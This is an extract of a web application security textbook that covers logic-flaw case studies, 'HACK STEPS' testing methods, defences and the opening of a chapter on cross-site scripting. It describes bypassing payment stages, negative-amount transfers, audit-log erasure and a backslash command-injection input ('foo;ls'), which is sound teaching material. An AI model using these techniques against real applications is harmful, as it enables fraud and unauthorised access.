The Attack The developers’ assumption was flawed for fairly obvious reasons. Users control every request that they make to the application and so can access any stage of the ordering process in any sequence. By proceeding directly from stage 2 to stage 4, an attacker could generate an order that was finalized for delivery but that had not actually been paid for. HACK STEPS The technique for finding and exploiting flaws of this kind is known as forced browsing. This involves circumventing any controls imposed by in-browser navigation on the sequence in which application functions may be accessed: ■ When a multistage process involves a defined sequence of requests, attempt to submit these requests out of the expected sequence. Try skipping certain stages altogether, accessing a single stage more than once, and accessing earlier stages after later ones. ■ The sequence of stages may be accessed via a series of GET or POST requests for distinct URLs, or they may involve submitting different sets of parameters to the same URL. The stage being requested may be specified by submitting a function name or index within a request parameter. Be sure to understand fully the mechanisms that the application is employing to deliver access to distinct stages. ■ From the context of the functionality that is implemented, try to understand what assumptions may have been made by developers and where the key attack surface lies. Try to identify ways of violating those assumptions to cause undesirable behavior within the application. ■ When multistage functions are accessed out of sequence, it is common to encounter a variety of anomalous conditions within the application, such as variables with null or uninitialized values, a partially defined or inconsistent state, and other unpredictable behavior. In this situation, the application may return interesting error message and debug output, which can be used to better understand its internal workings and thereby fine-tune the current or a different attack (see Chapter 14). Sometimes, the application may get into a state entirely unanticipated by developers, which may lead to serious security flaws.
353
70779c11.qxd:WileyRed
354
9/14/07
Chapter 11
■
3:14 PM
Page 354
Attacking Application Logic
N OT E Many types of access control vulnerability are similar in nature to this logic flaw. When a privileged function involves multiple stages that are normally accessed in a defined sequence, the application may assume that users will always proceed through the functionality in this sequence. The application may enforce strict access control on the initial stages of the process and assume that any user who reaches the later stages must, therefore, be authorized. If a low-privileged user proceeds directly to a later stage, she may be able to access it without any restrictions. See Chapter 8 for more details on finding and exploiting vulnerabilities of this kind.
Example 3: Rolling Your Own Insurance The authors encountered this logic flaw in a web application deployed by a financial services company.
The Functionality The application enabled users to obtain quotations for insurance, and if desired, complete and submit an insurance application online. The process was spread across a dozen stages, as follows: ■■
At the first stage, the applicant submits some basic information, and specifies either a preferred monthly premium or the value the applicant wishes insurance for. The application offers a quotation, computing whichever value the applicant did not specify.
■■
Across several stages, the applicant supplies various other personal details, including health, occupation, and pastimes.
■■
Finally, the application is transmitted to an underwriter working for the insurance company. Using the same web application, the underwriter reviews the details and decides whether to accept the application as is, or modify the initial quotation to reflect any additional risks.
Through each of the stages described, the application employed a shared component to process each parameter of user data submitted to it. This component parsed out all of the data in each POST request into name/value pairs, and updated its state information with each item of data received.
The Assumption The component which processed user-supplied data assumed that each request would contain only the parameters that had been requested from the
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 355
Chapter 11
■
Attacking Application Logic
user in the relevant HTML form. Developers did not consider what would happen if a user submitted parameters that they had not been asked to supply.
The Attack Of course, the assumption was flawed, because users can submit arbitrary parameter names and values with every request. As a result, the core functionality of the application was broken in various ways: ■■
An attacker could exploit the shared component to bypass all serverside input validation. At each stage of the quotation process, the application performed strict validation of the data expected at that stage, and rejected any data that failed this validation. But the shared component updated the application’s state with every parameter supplied by the user. Hence, if an attacker submitted data out of sequence, by supplying a name/value pair which the application expected at an earlier stage, then that data would be accepted and processed, with no validation having been performed. As it happened, this possibility paved the way for a stored cross-site scripting attack targeting the underwriter, which allowed a malicious user to access the personal information belonging to other applicants (see Chapter 12).
■■
An attacker could buy insurance at an arbitrary price. At the first stage of the quotation process, the applicant specified either their preferred monthly premium or the value they wished to insure, and the application computed the other item accordingly. However, if a user supplied new values for either or both of these items at a later stage, then the application’s state was updated with these values. By submitting these parameters out of sequence, an attacker could obtain a quotation for insurance at an arbitrary value and arbitrary monthly premium.
■■
There were no access controls regarding which parameters a given type of user could supply. When an underwriter reviewed a completed application, they updated various items of data, including the acceptance decision. This data was processed by the shared component in the same way as for data supplied by an ordinary user. If an attacker knew or guessed the parameter names used when the underwriter reviewed an application, then the attacker could simply submit these, thereby accepting their own application without any actual underwriting.
355
70779c11.qxd:WileyRed
356
9/14/07
Chapter 11
■
3:14 PM
Page 356
Attacking Application Logic
HACK STEPS The flaws in this application were absolutely fundamental to its security, but none of them would have been identified by an attacker who simply intercepted browser requests and modified the parameter values being submitted. ■ Whenever an application implements a key action across multiple stages, you should take parameters that are submitted at one stage of the process, and try submitting these to a different stage. If the relevant items of data are updated within the application’s state, you should explore the ramifications of this behavior, to determine whether you can leverage it to carry out any malicious action, as in the preceding three examples. ■ If the application implements functionality whereby different categories of user can update or perform other actions on a common collection of data, you should walk through the process using each type of user and observe the parameters submitted. Where different parameters are ordinarily submitted by the different users, take each parameter submitted by one user and try to submit this as the other user. If the parameter is accepted and processed as that user, explore the implications of this behavior as previously described.
Example 4: Breaking the Bank The authors encountered this logic flaw in the web application deployed by a major financial services company.
The Functionality The application enabled existing customers who did not already use the online application to register to do so. New users were required to supply some basic personal information, to provide a degree of assurance of their identity. This information included name, address, and date of birth, but did not include anything secret such as an existing password or PIN number. When this information had been correctly entered, the application forwarded the registration request to back-end systems for processing. An information pack was mailed to the user’s registered home address. This pack included instructions for activating their online access via a telephone call to the company’s call center and also a one-time password to use when first logging in to the application.
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 357
Chapter 11
■
Attacking Application Logic
The Assumption The application’s designers believed that this mechanism provided a very robust defense against unauthorized access to the application. The mechanism implemented three layers of protection: ■■
A modest amount of personal data was required up front, to deter a malicious attacker or mischievous user from attempting to initiate the registration process on other users’ behalf.
■■
The process involved transmitting a key secret out-of-band to the customer’s registered home address. Any attacker would need to have access to the victim’s personal mail.
■■
The customer was required to telephone the call center and authenticate himself there in the usual way, based on personal information and selected digits from a PIN number.
This design was indeed robust. The logic flaw lay in the actual implementation of the mechanism. The developers implementing the registration mechanism needed a way to store the personal data submitted by the user and correlate this with a unique customer identity within the company’s database. Keen to reuse existing code, they came across the following class, which appeared to serve their purposes: class CCustomer { String firstName; String lastName; CDoB dob; CAddress homeAddress; long custNumber; ..
After the user’s information was captured, this object was instantiated, populated with the supplied information, and stored in the user’s session. The application then verified the user’s details, and if they were valid, retrieved that user’s unique customer number, which was used in all of the company’s systems. This number was added to the object, together with some other useful information about the user. The object was then transmitted to the relevant back-end system for the registration request to be processed. The developers assumed that making use of this code component was harmless and would not lead to any security problem. However, the assumption was flawed, with serious consequences.
357
70779c11.qxd:WileyRed
358
9/14/07
Chapter 11
■
3:14 PM
Page 358
Attacking Application Logic
The Attack The same code component that was incorporated into the registration functionality was also used elsewhere within the application, including within the core functionality, which gave authenticated users access to account details, statements, funds transfers, and other information. When a registered user successfully authenticated herself to the application, this same object was instantiated and saved in her session to store key information about her identity. The majority of the functionality within the application referenced the information within this object in order to carry out its actions — for example, the account details presented to the user on her main page were generated on the basis of the unique customer number contained within this object. The way in the code component was already being employed within the application meant that the developers’ assumption was flawed, and the manner in which they reused it did indeed open up a significant vulnerability. Although the vulnerability was serious, it was in fact relatively subtle to detect and exploit. Access to the main application functionality was protected by access controls at several layers, and a user needed to have a fully authenticated session to pass these controls. To exploit the logic flaw, therefore, an attacker needed to perform the following steps: ■■
Log in to the application using his own valid account credentials.
■■
Using the resulting authenticated session, access the registration functionality and submit a different customer’s personal information. This causes the application to overwrite the original CCustomer object in the attacker’s session with a new object relating to the targeted customer.
■■
Return to the main application functionality and access the other customer’s account.
A vulnerability of this kind is not straightforward to detect when probing the application from a black-box perspective. However, it is also hard to identify when reviewing or writing the actual source code. Without a clear understanding of the application as a whole and the use made of different components in different areas, the flawed assumption made by developers may not be evident. Of course, clearly commented source code and design documentation would reduce the likelihood of such a defect being introduced or remaining undetected.
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 359
Chapter 11
■
Attacking Application Logic
HACK STEPS ■ In a complex application involving either horizontal or vertical privilege segregation, try to locate any instances where an individual user can accumulate an amount of state within their session which relates in some way to their identity. ■ Try to step through one area of functionality, and then switch altogether to an unrelated area, to determine whether any accumulated state information has an effect on the application’s behavior.
Example 5: Erasing an Audit Trail The authors encountered this logic flaw in a web application used in a call center.
The Functionality The application implemented various functions enabling helpdesk personnel and administrators to support and manage a large user base. Many of these functions were security-sensitive, including the creation of accounts and the resetting of passwords. Hence, the application maintained a full audit trail, recording every action performed and the identity of the user responsible. The application included a function allowing administrators to delete audit trail entries. However to protect this function from being maliciously exploited, any use of the function was itself recorded, so the audit trail would indicate the identity of the user responsible.
The Assumption The designers of the application believed that it would be impossible for a malicious user to perform an undesirable action without leaving some evidence in the audit trail that would link them to the action. An attempt by an administrator to cleanse the audit logs altogether would always leave one last entry that would point the finger of suspicion at them.
The Attack The designers’ assumption was flawed, and it was possible for a malicious administrative user to carry out arbitrary actions without leaving any
359
70779c11.qxd:WileyRed
360
9/14/07
Chapter 11
■
3:14 PM
Page 360
Attacking Application Logic
evidence within the audit trail that could identify them as responsible. The steps required are: 1. Log in using your own account, and create a second user account. 2. Assign all of your privileges to the new account. 3. Use the new account to perform a malicious action of your choice. 4. Use the new account to delete all of the audit log entries generated by the first three steps. Each of these actions generates entries in the audit log. However, in the last step, the attacker deletes all of the entries created by the preceding actions. The audit log now contains a single suspicious entry, indicating that some log entries were deleted by a specific user — that is, by the new user account that was created by the attacker. However, because the previous log entries have been deleted, there is nothing in the logs to link the attacker to anything suspicious. The perfect crime.
N OT E This type of flaw can also be found in some security models that require dual authorization for security-critical actions. If an attacker can create a new account and use it to provide secondary authorization for a malicious action that he performs, then the additional defense provided by the model can be trivially circumvented. It is also worth noting that even without the facility to delete audit trail entries, the ability to create other powerful user accounts may make audit trails difficult to follow, potentially requiring a large number of entries to be traced through to identify a perpetrator.
Example 6: Beating a Business Limit The authors encountered this logic flaw in a web-based enterprise resource planning application used within a manufacturing company.
The Functionality Finance personnel had the facility to perform funds transfers between various bank accounts owned by the company and their key customers and suppliers. As a precaution against fraud, the application prevented most users from processing transfers with a value greater than $10,000. Any transfer larger than this required a senior manager’s approval.
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 361
Chapter 11
■
Attacking Application Logic
The Assumption The code responsible for implementing this check within the application was extremely simple: bool CAuthCheck::RequiresApproval(int amount) { if (amount <= m_apprThreshold) return false; else return true; }
The developer assumed that this transparent check was bulletproof. No transaction for greater than the configured threshold could ever escape the requirement for secondary approval.
Web Application Hacker's Handbook 2nd Edition Pdf
The Attack The developer’s assumption was flawed because he had completely overlooked the possibility that a user would attempt to process a transfer for a negative amount. Any negative number will clear the approval test, because it is less than the threshold. However, the banking module of the application accepted negative transfers and simply processed them as positive transfers in the opposite direction. Hence, any user wishing to transfer $20,000 from account A to account B could simply initiate a transfer of -$20,000 from account B to account A, which had the same effect and required no approval. The antifraud defenses built into the application could be trivially bypassed!N OT E Many kinds of web applications employ numeric limits within their business logic. For example: ■■
A retailing application may prevent a user from ordering more than the number of units available in stock.
■■
A banking application may prevent a user from making bill payments that exceed her current account balance.
■■
An insurance application may adjust its quotations based on age thresholds.
Finding a means of beating such limits will often not represent a security compromise of the application itself. However it may have serious business consequences and represent a breach of the controls that the owner is relying on the application to enforce.
361
70779c11.qxd:WileyRed
362
9/14/07
Chapter 11
■
3:14 PM
Page 362
Attacking Application Logic
The most obvious vulnerabilities of this kind will often be detected during the user-acceptance testing that normally occurs before an application is launched. However, more subtle manifestations of the problem may remain, particularly when hidden parameters are being manipulated.
HACK STEPS The first step in attempting to beat a business limit is to understand what characters are accepted within the relevant input which you control. ■ Try entering negative values and see if these are accepted by the application and processed in the way that you would expect. ■ You may need to perform several steps in order to engineer a change in the application’s state that can be exploited for a useful purpose. For example, several transfers between accounts may be required until a suitable balance has been accrued that can actually be extracted.
Example 7: Cheating on Bulk Discounts The authors encountered this logic flaw in the retail application of a software vendor.
The Functionality The application allowed users to order software products and qualify for bulk discounts if a suitable bundle of items was purchased. For example, users who purchased an antivirus solution, personal firewall, and anti-spam software were entitled to a 25% discount on their individual prices.
The Assumption When a user added an item of software to his shopping basket, the application used various rules to determine whether the bundle of purchases he had chosen entitled him to any discount. If so, the prices of the relevant items within the shopping basket were adjusted in line with the discount. The developers assumed that the user would go on to purchase the chosen bundle and so be entitled to the discount.
The Attack The developers’ assumption is rather obviously flawed and ignores the fact that users may remove items from their shopping baskets after they have been
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 363
Chapter 11
■
Attacking Application Logic
added. A crafty user could add to his basket large quantities of every single product on sale from the vendor, to attract the maximum possible bulk discounts. When the discounts had been applied to items in the shopping basket, he could remove items he did not require and still receive the discounts applied to the remaining products. HACK STEPS ■ In any situation where prices or other sensitive values are adjusted based on criteria that are determined by user-controllable data or actions, first understand the algorithms used by the application, and the point within its logic where adjustments are made. Identify whether these adjustments are made on a one-time basis or whether they are revised in response to further actions performed by the user. ■ Think imaginatively, and try to find a way of manipulating the application’s behavior to cause it to get into a state where the adjustments it has applied do not correspond to the original criteria intended by its designers. In the most obvious case, as just described, this may simply involve removing items from a shopping cart after a discount has been applied!
Example 8: Escaping from Escaping The authors encountered this logic flaw in various web applications, including the web administration interface used by a network intrusion detection product.
The Functionality The application’s designers had decided to implement some functionality that involved passing user-controllable input as an argument to an operating system command. The application’s developers understood the inherent risks involved in this kind of operation (see Chapter 9) and decided to defend against these risks by sanitizing any potentially malicious characters within the user input. Any instance of the following would be escaped using the backslash character: ;
|
&
<
> ` space and newline
Escaping data in this way causes the shell command interpreter to treat the relevant characters as part of the argument being passed to the invoked command, rather than as shell metacharacters that could be used to inject additional commands or arguments, redirect output, and so on.
363
70779c11.qxd:WileyRed
364
9/14/07
Chapter 11
■
3:14 PM
Page 364
Attacking Application Logic
The Assumption The developers were certain that they had devised a robust defense against command injection attacks. They had brainstormed every possible character that might assist an attacker, and had ensured that they were all properly escaped and therefore made safe.
The Attack The developers forgot to escape the escape character itself. The backslash character is not normally of direct use to an attacker when exploiting a simple command injection flaw, and so the developers did not identify it as potentially malicious. However, by failing to escape it, they provide a means for the attacker to defeat their sanitizing mechanism altogether. Suppose an attacker supplies the following input to the vulnerable function: foo;ls
The application applies the relevant escaping, as described previously, and so the attacker’s input becomes: foo;ls
When this data is passed as an argument to the operating system command, the shell interpreter treats the first backslash as the escape character, and so treats the second backslash as a literal backslash — not an escape character but part of the argument itself. It then encounters a semicolon that is apparently not escaped. It treats this as a command separator and so goes on to execute the injected command supplied by the attacker. HACK STEPS Whenever you are probing an application for command injection and other flaws, having attempted to insert the relevant metacharacters into the data you control, always try placing a backslash immediately before each such character, to test for the logic flaw described previously.
N OT E This same flaw can be found in some defenses against cross-site scripting attacks (see Chapter 12). When user-supplied input is copied directly into the value of a string variable in a piece of JavaScript, this value is encapsulated within quotation marks. To defend themselves against XSS, many applications use backslashes to escape any quotation marks that appear within the user’s input. However, if the backslash character itself is not escaped, then an attacker can submit ‘ to break out of the string and so take control of the script. This exact bug was found in early versions of the Ruby On Rails framework, in the escape_javascript function.
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 365
Chapter 11
■
Attacking Application Logic
Example 9: Abusing a Search Function The authors encountered this logic flaw in an application providing subscriptionbased access to financial news and information. The same vulnerability was later found in two completely unrelated applications, illustrating the subtle and pervasive nature of many logic flaws.
The Functionality The application provided access to a huge archive of historical and current information, including company reports and accounts, press releases, market analyses, and the like. Most of this information was accessible only to paying subscribers. The application provided a powerful and fine-grained search function, which could be accessed by all users. When an anonymous user performed a query, the search function returned links to all documents that matched the query. However, the user would be required to subscribe in order to retrieve any of the actual protected documents that their query returned. The application’s owners regarded this behavior as a useful marketing tactic.
The Assumption The application’s designer assumed that users could not use the search function to extract any useful information without paying for it. The document titles listed in the search results were typically cryptic — for example, “Annual Results 2006,” “Press Release 08-03-2007,” and so on.
The Attack Because the search function indicated the number of documents that matched a given query, a wily user could issue a large number of queries and use inference to extract information from the search function that would normally need to be paid for. For example, the following queries could be used to zero in on the contents of an individual protected document: wahh consulting >> 276 matches wahh consulting >> 0 matches wahh consulting >> 0 matches wahh consulting >> 0 matches wahh consulting >> 1 match
“Press Release 08-03-2007” merger “Press Release 08-03-2007” share issue “Press Release 08-03-2007” dividend “Press Release 08-03-2007” takeover
365
70779c11.qxd:WileyRed
366
9/14/07
Chapter 11 wahh >> 0 wahh >> 0 wahh >> 0 wahh >> 1 wahh >> 0 wahh >> 0 wahh >> 1
■
3:14 PM
Page 366
Attacking Application Logic
consulting matches consulting matches consulting matches consulting match consulting matches consulting matches consulting match
“Press Release 08-03-2007” takeover haxors inc “Press Release 08-03-2007” takeover uberleet ltd “Press Release 08-03-2007” takeover script kiddy corp “Press Release 08-03-2007” takeover ngs “Press Release 08-03-2007” takeover ngs announced “Press Release 08-03-2007” takeover ngs cancelled “Press Release 08-03-2007” takeover ngs completed
Although the user cannot view the actual document itself, with sufficient imagination and use of scripted requests, he may be able to build up a fairly accurate understanding of its contents.
T I P In certain situations, an ability to leach information via a search function in this way may be critical to the security of the application itself — effectively disclosing details of administrative functions, passwords, and technologies in use.
Example 10: Snarfing Debug Messages The authors encountered this logic flaw in a web application used by a financial services company.
The Functionality The application was only recently deployed and like much new software still contained a number of functionality-related bugs. Intermittently, various operations would fail in an unpredictable way, and users would be presented with an error message. To facilitate the investigation of errors, developers decided to include detailed verbose information in these messages, including the following details: ■■
The user’s identity.
■■
The token for the current session.
■■
The URL being accessed.
■■
All of the parameters supplied with the request which generated the error.
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 367
Chapter 11
■
Attacking Application Logic
Generating these messages had proved useful when helpdesk personnel attempted to investigate and recover from system failures, and were helping to iron out the remaining functionality bugs.
The Assumption Despite the usual warnings from security advisers that verbose debug messages of this kind could potentially be misused by an attacker, the developers reasoned that they were not opening up any security vulnerability. All of the information contained within the debugging message could be readily obtained by the user, by inspecting the requests and responses processed by her browser. The messages did not include any details about the actual failure, such as stack traces, and so could not conceivably assist in formulating an attack against the application.
The Attack Despite their reasoning about the contents of the debug messages, the developers’ assumption was flawed because of mistakes they made in implementing the creation of debugging messages. When an error occurred, a component of the application gathered all of the required information and stored it. The user was issued with an HTTP redirect to a URL that displayed this stored information. The problem was that the application’s storage of debug information, and user access to the error message, was not session-based. Rather, the debugging information was stored in a static container, and the error message URL always displayed the information which was last placed into this container. Developers had assumed that users following the redirect would, therefore, see only the debug information relating to their error. In fact, in this situation, ordinary users would occasionally be presented with the debugging information relating to a different user’s error, because the two errors had occurred almost simultaneously. But aside from questions about thread safety (see the next example), this was not simply a race condition. An attacker who discovered the way in which the error mechanism functioned could simply poll the message URL repeatedly, and log the results each time they changed. Over a period of few hours, this log would contain sensitive data about numerous application users: ■■
A set of usernames that could be used in a password-guessing attack.
■■
A set of session tokens that could be used to hijack sessions.
■■
A set of user-supplied input, which may contain passwords and other sensitive items.
367
70779c11.qxd:WileyRed
368
9/14/07
Chapter 11
■
3:14 PM
Page 368
Attacking Application Logic
The error mechanism, therefore, presented a critical security threat. Because administrative users sometimes received these detailed error messages, an attacker monitoring error messages would soon obtain sufficient information to compromise the entire application. HACK STEPS ■ To detect a flaw of this kind, first catalog all of the anomalous events and conditions that can be generated and that involve interesting user-specific information being returned to the browser in an unusual way, such as a debugging error message. ■ Using the application as two users in parallel, systematically engineer each condition using one or both users, and determine whether the other user is affected in each case.
Example 11: Racing against the Login This logic flaw has affected several major applications in the recent past.
The Functionality The application implemented a robust, multistage login process in which users were required to supply several different credentials to gain access.
The Assumption The authentication mechanism had been subject to numerous design reviews and penetration tests. The owners were confident that no feasible means existed of attacking the mechanism to gain unauthorized access.
The Attack In fact, the authentication mechanism contained a subtle flaw. Very occasionally, when a customer logged in, he gained access to the account of a completely different user, enabling him to view all of that user’s financial details, and even make payments from the other user’s account. The application’s behavior appeared initially to be completely random: the user had not performed any unusual action in order to gain unauthorized access, and the anomaly did not recur on subsequent logins. After some investigation, the bank discovered that the error was occurring when two different users logged in to the application at precisely the same moment. It did not occur on every such occasion — only on a subset of them.
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 369
Chapter 11
■
Attacking Application Logic
The root cause was that the application was briefly storing a key identifier about each newly authenticated user within a static (nonsession) variable. After being written, this variable’s value was read back an instant later. If a different thread (processing another login) had written to the variable during this instant, the earlier user would land in an authenticated session belonging to the subsequent user. The vulnerability arose from the same kind of mistake as in the error message example described previously: the application was using static storage to hold information that ought to have been stored on a per-thread or per-session basis. However, the present example is far more subtle to detect, and is more difficult to exploit because it cannot be reliably reproduced. Flaws of this kind are known as “race conditions” because they involve a vulnerability that arises for a brief period of time during certain specific circumstances. Because the vulnerability exists only for a short time, an attacker faces a “race” to exploit it before the application closes it again. In cases where the attacker is local to the application, it is often possible to engineer the exact circumstances in which the race condition arises, and reliably exploit the vulnerability during the available window. Where the attacker is remote to the application, this is normally much harder to achieve. A remote attacker who understood the nature of the vulnerability could conceivably have devised an attack to exploit it, by using a script to log in continuously and check the details of the account accessed. But the tiny window during which the vulnerability could be exploited meant that a huge number of requests would be required. It was not surprising that the race condition was not discovered during normal penetration testing. The conditions in which it arose came about only when the application gained a large enough user base for random anomalies to occur, which were reported by customers. However, a close code review of the authentication and session management logic would have identified the problem. HACK STEPS Performing remote black-box testing for subtle thread safety issues of this kind is not straightforward and should be regarded as a specialized undertaking, probably necessary only in the most security-critical of applications. ■ Target selected items of key functionality, such as login mechanisms, password change functions, and funds transfer processes. ■ For each function tested, identify a single request, or a small number of requests, that can be used by a given user to perform a single action. Also find the simplest means of confirming the result of the action — for example, verifying that a given user’s login has resulted in access to their own account information. Continued
369
70779c11.qxd:WileyRed
370
9/14/07
Chapter 11
■
3:14 PM
Page 370
Attacking Application Logic
HACK STEPS (continued) ■ Using several high-spec machines, accessing the application from different network locations, script an attack to perform the same action repeatedly on behalf of several different users. Confirm whether each action has the expected result. ■ Be prepared for a large volume of false positives. Depending on the scale of the application’s supporting infrastructure, this activity may well amount to a load test of the installation. Anomalies may be experienced for reasons that have nothing to do with security.
Avoiding Logic Flaws Just as there is no unique signature by which logic flaws in web applications can be identified, there is also no silver bullet with which you can be protected. For example, there is no equivalent to the straightforward advice of using a safe alternative to a dangerous API. Nevertheless, there is a range of good practice that can be applied to significantly reduce the risk of logical flaws appearing within your applications: ■■
Ensure that every aspect of the application’s design is clearly documented in sufficient detail for an outsider to understand every assumption made by the designer. All such assumptions should be explicitly recorded within the design documentation.
■■
Mandate that all source code is clearly commented to include the following information throughout:
■■
■■
The purpose and intended uses of each code component.
■■
The assumptions made by each component about anything that is outside of its direct control.
■■
References to all client code which makes use of the component. Clear documentation to this effect could have prevented the logic flaw within the online registration functionality. (Note: “client” here refers not to the user end of the client-server relationship but to other code for which the component being considered is an immediate dependency.)
During security-focused reviews of the application design, reflect upon every assumption made within the design, and try to imagine circumstances in which each assumption might be violated. Focus particularly on any assumed conditions that could conceivably be within the control of application users.
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 371
Chapter 11 ■■
■
Attacking Application Logic
During security-focused code reviews, think laterally about two key areas: (a) the ways in which unexpected user behavior and input will be handled by the application, and (b) the potential side effects of any dependencies and interoperation between different code components and different application functions.
In relation to the specific examples of logic flaws we have described, a number of individual lessons can be learned: ■■
Be constantly aware that users control every aspect of every request (see Chapter 1). They may access multistage functions in any sequence. They may submit parameters that the application did not ask for. They may omit certain parameters altogether, not just interfere with the parameters’ values.
■■
Drive all decisions regarding a user’s identity and status from her session (see Chapter 8). Do not make any assumptions about the user’s privileges on the basis of any other feature of the request, including the fact that it occurs at all.
■■
When implementing functions that update session data on the basis of input received from the user, or actions performed by the user, reflect carefully on any impact that the updated data may have on other functionality within the application. Be aware that unexpected side effects may occur in entirely unrelated functionality written by a different programmer or even a different development team.
■■
If a search function is liable to index sensitive data that some users are not authorized to access, ensure that the function does not provide any means for those users to infer information based on search results. If appropriate, maintain several search indexes based on different levels of user privilege, or perform dynamic searches of information repositories with the privileges of the requesting user.
■■
Be extremely wary of implementing any functionality that enables any user to delete items from an audit trail. Also, consider the possible impact of a high-privileged user creating another user of the same privilege in heavily audited applications and dual-authorization models.
■■
When carrying out checks based on numeric business limits and thresholds, perform strict canonicalization and data validation on all user input before processing it. If negative numbers are not expected, explicitly reject requests that contain them.
■■
When implementing discounts based on order volumes, ensure that orders are finalized before actually applying the discount.
371
70779c11.qxd:WileyRed
372
9/14/07
Chapter 11
■
3:14 PM
Page 372
Attacking Application Logic
■■
When escaping user-supplied data before passing to a potentially vulnerable application component, always be sure to escape the escape character itself, or the entire validation mechanism may be broken.
■■
Always use appropriate storage to maintain any data that relates to an individual user — either in the session or in the user’s profile.
Chapter Summary Attacking an application’s logic involves a mixture of systematic probing and lateral thinking. As we have identified, there are various key checks that you should always carry out to test the application’s behavior in response to unexpected input. These include removing parameters from requests, using forced browsing to access functions out of sequence, and submitting parameters to different locations within the application. Often, the way an application responds to these actions will point towards some defective assumption that you can violate, to malicious effect. In addition to these basic tests, the most important challenge when probing for logic flaws is to try to get inside the mind of the developer. You need to understand what they were trying to achieve, what assumptions they probably made, what shortcuts they are likely to have taken, and what mistakes they may have committed. Imagine that you were working to a tight deadline, worrying primarily about functionality rather than security, trying to add a new function to an existing code base, or using poorly documented APIs written by someone else. In that situation, what would you get wrong, and how could it be exploited?
Questions Answers can be found at www.wiley.com/go/webhacker. 1. What is forced browsing, and what kind of vulnerabilities can it be used to identify? 2. An application applies various global filters on user input, designed to prevent different categories of attack. To defend against SQL injection, it doubles up any single quotation marks that appear in user input. To prevent buffer overflow attacks against some native code components, it truncates any overlong items to a reasonable limit. What might go wrong with these filters?
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 373
Chapter 11
■
Attacking Application Logic
3. What steps could you take to probe a login function for fail-open conditions? (Describe as many different tests as you can think of.) 4. A banking application implements a multistage login mechanism that is intended to be highly robust. At the first stage, the user enters a username and password. At the second stage, the user enters the changing value on a physical token that they possess, and the original username is resubmitted in a hidden form field. What logic flaw should you immediately check for? 5. You are probing an application for common categories of vulnerability by submitting crafted input. Frequently, the application returns verbose error messages containing debugging information. Occasionally, these messages relate to errors generated by other users. When this happens, you are unable to reproduce the behavior a second time. What logic flaw may this indicate, and how should you proceed?
373
70779c11.qxd:WileyRed
9/14/07
3:14 PM
Page 374
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 375
CHAPTER
12 Attacking Other Users
The majority of interesting attacks against web applications involve targeting the server-side application itself. Many of these attacks do of course impinge upon other users — for example, an SQL injection attack that steals other users’ data. But the essential methodology of the attacker is to interact with the server in unexpected ways in order to perform unauthorized actions and access unauthorized data. The attacks described in this chapter are in a different category, because the primary target of the attacker is the application’s other users. All of the relevant vulnerabilities still exist within the server-side application. However, the attacker leverages some aspect of the application’s behavior in order to carry out malicious actions against another end user. These actions may result in some of the same effects that we have already examined, such as session hijacking, unauthorized actions, and the disclosure of personal data. They may also result in other undesirable outcomes, such as logging of keystrokes or execution of arbitrary commands on users’ computers. Other areas of software security have witnessed a gradual shift in focus from server-side to client-side attacks in recent years. To take one example, Microsoft used to announce serious security vulnerabilities within their server products on a frequent basis. Although numerous client-side flaws were also disclosed, these received much less attention because servers presented a much more appealing target for most attackers. In just a few years, this situation has changed markedly. At the time of this writing, no critical security 375
70779c12.qxd:WileyRed
376
9/14/07
Chapter 12
■
3:14 PM
Page 376
Attacking Other Users
vulnerabilities have been publicly announced in Microsoft’s IIS 6 web server. However, in the time since this product was first released, a very large number of flaws have been disclosed in Microsoft’s Internet Explorer browser. As the general awareness of security threats has evolved, the front line of the battle between software developers and hackers has moved from the server to the client. Although web application security is still some way behind the curve just described, the same trend can be detected. A decade ago, most applications on the Internet were riddled with critical flaws like command injection, which could be easily found and exploited by any attacker with a bit of knowledge. Although many such vulnerabilities still exist today, they are slowly becoming less widespread and more difficult to exploit. Meanwhile, even the most security-critical applications still contain many easily discoverable client-side flaws. A key focus of recent research has been on this kind of vulnerability, with defects such as session fixation first being discussed many years after most categories of server-side bugs were widely known about. Media focus on web security is predominantly concerned with client-side attacks, with such terms as spyware, phishing, and Trojans being common currency to many journalists who have never heard of SQL injection or path traversal. And attacks against web application users are an increasingly lucrative criminal business. Why go to the trouble of breaking into an Internet bank, when it has 10 million customers and you can compromise 1% of these in a relatively crude attack that requires little skill or elegance? Attacks against other application users come in many forms and manifest a variety of subtleties and nuances that are frequently overlooked. They are also less well understood in general than the primary server-side attacks, with different flaws being conflated or neglected even by some seasoned penetration testers. We will describe all of the different vulnerabilities that are commonly encountered and spell out the practical steps you need to perform to identify and exploit each of these.
Cross-Site Scripting Cross-site scripting (or XSS) is the Godfather of attacks against other users. It is by some measure the most prevalent web application vulnerability found in the wild, afflicting literally the vast majority of live applications, including some of the most security-critical applications on the Internet, such as those used by online banks. Opinions vary as to the seriousness of XSS vulnerabilities. Ask many a hacker or professional pen tester, and they will tell you, “Cross-site scripting is lame.” And in one sense it is. XSS vulnerabilities are often trivial to identify
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 377
Chapter 12
■
Attacking Other Users
and are so widespread that anyone with a browser can find an XSS bug somewhere in a matter of minutes. The Bugtraq mailing list is congested with attention seekers posting XSS bugs in unheard-of software. And in plenty of cases, XSS vulnerabilities are of minimal significance — not exploitable to do anything particularly worthwhile. In the archetypal battle between a lone hacker and a target web application, XSS bugs usually (though not always) provide no help in the hacker’s quest to compromise the system. Compared with a juicy bug like SQL injection, path traversal, or broken access controls, cross-site scripting is often “lame” indeed. However, the significance of any bug is dependent upon both its context and the objectives of the person who might exploit it. An XSS bug in a banking application is considerably more serious than one in a brochure-ware site. Even if the bug does not enable a hacker to break in, it may still be gold dust to a phisherman seeking to hoodwink millions of unwitting users. Further, there are many situations in which XSS does represent a critical security weakness within an application. It can often be combined with other vulnerabilities to devastating effect. In some situations, an XSS attack can be turned into a virus or a self-propagating worm. Attacks of this kind are certainly not lame. XSS vulnerabilities should always be viewed in perspective, by reference to the context in which they appear, and in relation to other serious attacks against web applications and other computer systems. We need to treat them seriously, but avoid getting over-excited. 